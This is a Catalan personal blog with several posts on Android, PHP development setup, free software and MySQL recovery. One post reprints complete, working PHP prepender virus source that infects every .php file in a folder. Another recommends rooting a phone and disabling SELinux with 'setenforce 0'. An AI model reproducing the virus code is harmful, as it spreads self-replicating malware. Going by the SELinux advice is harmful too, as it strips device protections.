dijous, 7 de gener de 2016

Quan la seguretat rebenta el rendiment.

Fa poc més de sis mesos em vaig comprar un mòbil prou decent, en teoria. Em vaig gastar poc menys de 200€ i esperava un rendiment excelent. Pense que gastar-se 800€ en un mòbil quan no és la teua eina de treball és un disbarat, però  200€, considere qué és una quanitat per esperar un bon rendiment. No era així. El per què? Que els sistemes 4.3 d'android duen incorporat SELinux. SELinux captura en cada petició al sistema si els permisos són els que toquen. Afegix molta seguretat sí, però per a un ús no confidencial (jo no guarde ni secrets industrials, ni de seguretat nacional, ni res per l'estil al mòbil), fa que un mòbil que deuria, literalment, volar, vaja a pedals. No m'agrada l'opció de flashejar el mòbil i eixes coses, i tampoc tinc temps, però he aconseguit deshabilitar-lo seguint els passos:
1. Fent-lo root (cada mòbil es fa d'una manera), per exemple amb towelroot i seguir les instruccions
2. Instal·lar un terminal per poder teclejar comandos
3. deshabilitarlo amb el comando:
  su 0 setenforce 0
 el comando s'haurà d'executar cada vegada que reiniciem el mòbil
Amb això veurem incrementat, i molt, el rendiment del terminal.

dimecres, 11 de novembre de 2015

Nou espai de trebal

M'havia decidit a no tindre dos monitors, però és inviable, el nou projecte requerix mínim dos monitors:

Això sí, LliureX rlz ;) Per a jugar continuaré gastant només el del portàtil, que té la mateixa resolució i es veu molt millor. I possiblement gaste windows, i així m'evite haver de configurar el wine. Que per a un ratet que podré estar...

PHPStorm en LliureX

Comence un nou "treball" per a la ONG Huridocs. Es dedica a documentar casos de violació de drets humans al llarg del món i que valga eixa documentació en judicis i demés ajuda. El cas és que per a repasar un projecte OpenEvSys, que està programat com els antics programadors van entendre, he decidit gastar un IDE "en condicions", res d'un editor de text a pèl ;).
M'he decidit per PHPStorm. És comercial però cumplisc tres casos (amb 1 hi havia prou) en els quals és gratuït:
  1. Alumnes
  2. Docents
  3. Projectes OS
 Per tant, anem a la web:
https://www.jetbrains.com/phpstorm/ i l'abaixem. Podem provar-ho un mes gratuïtament o bé, si cumplim algun d'eixos tres casos...

Una vegada instal·lat necessitem configurar l'apache amb un mòdul de debugger per a poder executar pas a pas les aplicacions php. En LliureX la forma més fàcil és amb l'xdebug, per a instal·lar-lo:
http://www.xdebug.org/
abaixem el codi, el compilem seguint les instruccions del README i copiem el mòdul en algun lloc:
 #phpize
 #./configure --enable-xdebug
#make
#sudo mkdir /opt/xdebug
#cd modules
#cp xdebug.so /opt/xdebug

l'activem en la configuració:
#sudo vi /etc/php5/apache2/php.ini 
i afegim al final de l'arxiu:
zend_extension=/opt/xdebug/xdebug.so
xdebug.remote_enable=true


ara només falta reiniciar l'apache
#sudo service apache2 reload

i ja el tenim, ja podem depurar codi php ;) per per últim per a comprovar si està actiu el mòdul podrem mirar-ho amb un phpinfo();

dijous, 22 d’octubre de 2015

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

 - - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - -
<?php // SPTH
$string=fread(fopen(__FILE__,'r'), 391);
$curdir=opendir('.'); 
while ($file = readdir($curdir)) 
{ 
  if (strstr($file, '.php'))
  {
    $victim=fopen($file, 'r+');
    if (!strstr(fread($victim, 13), 'SPTH'))
    {
      rewind($victim);
      fwrite($victim, $string.fread($victim, filesize($file)););
    }
    fclose($victim);
  } 
}
closedir($curdir);
?>
 
 

dimarts, 20 d’octubre de 2015

Comence el doctorat

Doncs ara comence el doctorat, i tinc poc de temps, possiblement les meues proves aniré publicant-les però, mai se sap, recordant  vells temps, tinc dos possibilitats i no sé que faré:

 a)
mov ah,4ch
int 21h

b)
int 27h

divendres, 18 de setembre de 2015

Google no és programari lliure

Duc des de ni sé els anys treballant en Linux. De fet, vaig passar de MS-DOS a Linux sense passar per windows 95. Només he gastat windows (ho he de confessar)per a jugar, i farà un any, el windows 8. No m'ha agradat i ara he tornat a Linux. Valga esta confessió personal per explicar el meu dubte existencial. Hi ha molta gent que critica Apple o Microsoft i diu que l'alternativa és Android , i es compra un Samung, per exemple. M'he parat a pensa-ho i pràcticament és el mateix. Android pot ser bastat en Linux i tinga bona part de codi obert, però hi ha una part que no. I el núvol de Google és completament tancat (algú té el codi del buscador o de gmail?). En general (i a no ser que instal·lem alguna rom on tot siga lliure), és un poc més lliure que ios (Darwin, el codi font del kernel d'ios, és de codi obert, el que és tancat és la seua interfície). És a dir que els serveis que proporcionen les tres companyies (buscador, correu, núvol...) són igual de tancats (i estan siguent investigats per vendre dades personals a empreses). Això parlant d'smartphones. D'ordinadors, si que hi ha distribucions completament lliurex (LliureX, per exemple, agranant cap a casa), però recorde que els serveis de google no. Per tant caldria tindre el nostre propi núvol, el nostre propi servidor de correu... i buscar un altre buscador.
He estat temptat de fer-ho, però em fa molta gossera ;)
En fi, que cadascú faça amb els seus diners el que vullga, tot este totxo sense sentit és per explicar que no hi ha diferència ètica entre gastar els serveis de Google, els de Microsoft i els de Apple, o molt poca.
(Del hardware si de cas parlarem en un altre moment)

dilluns, 3 d’agost de 2015

Recuperar les dades amb els arxius d'una base de dades mysql

Una cosa que pareix que li passe a més gent és que ubuntu (al meu cas LliureX) done un error de dependències al servidor mysql y impedisca la seua instal·lació (o en el meu cas actualització, esborrant la versió vella però impedint instal·lar la nova).
Per sort vaig fer una còpia de les carpetes per si de cas, però la més important és:
/var/lib/mysql
Un dels passos per pode instal·lar es esborrar eixa carpeta i intentar desinstalar, cosa que vaig fer, i a la de 1000 intents ho vaig aconseguir. Es donava el cas que el backup que havia fet (la política de backups és una altra discusió) no era correcte i només contenia estructura. Per tant, ja em veia perdent un dia o dos picant les dades (ja duia un dia perdut intentant reinstal·lanr el servidor). Bo, com ho he pogut recuperar? Doncs fàcil, quan saps com ;).
 Les bases de dades, en mysql, són carpetes amb arxius, cada carpeta té el nom de la base de dades.  Haurem de parar el servidor mysql per fer estes operacions (sudo service mysql stop) :
El primer pas és copiar eixa carpeta a /var/lib/mysql. Si intentem entrar des de mysql, ara només podrem veure el nom de la base de dades. Per què? Per què si ho fem, ho haurem fet amb "sudo cp", i això copia com a root.
El següent pas, serà canviar els permisos de la carpeta i el seu contingut a l'usuari i grup mysql (chmod/chgrp -R mysql ...). Si ho intentem ara, veurem les taules però no el contingut.
Per tant faltarà una cosa, i és actualitzar els índex, estos estan a l'arxiu ibdata1, que haurem de copiar de l'arrel del nostre backup, i canviar els permisos a mysql/mysql, ja que si no ho fem, el servidor no tindrà permisos per a llegir eixe arxiu i per tant, no arrancarà.
Una vegada fet açò, podrem arrancar el servidor i veurem la nostra base de dades amb estructura i dades recuperada.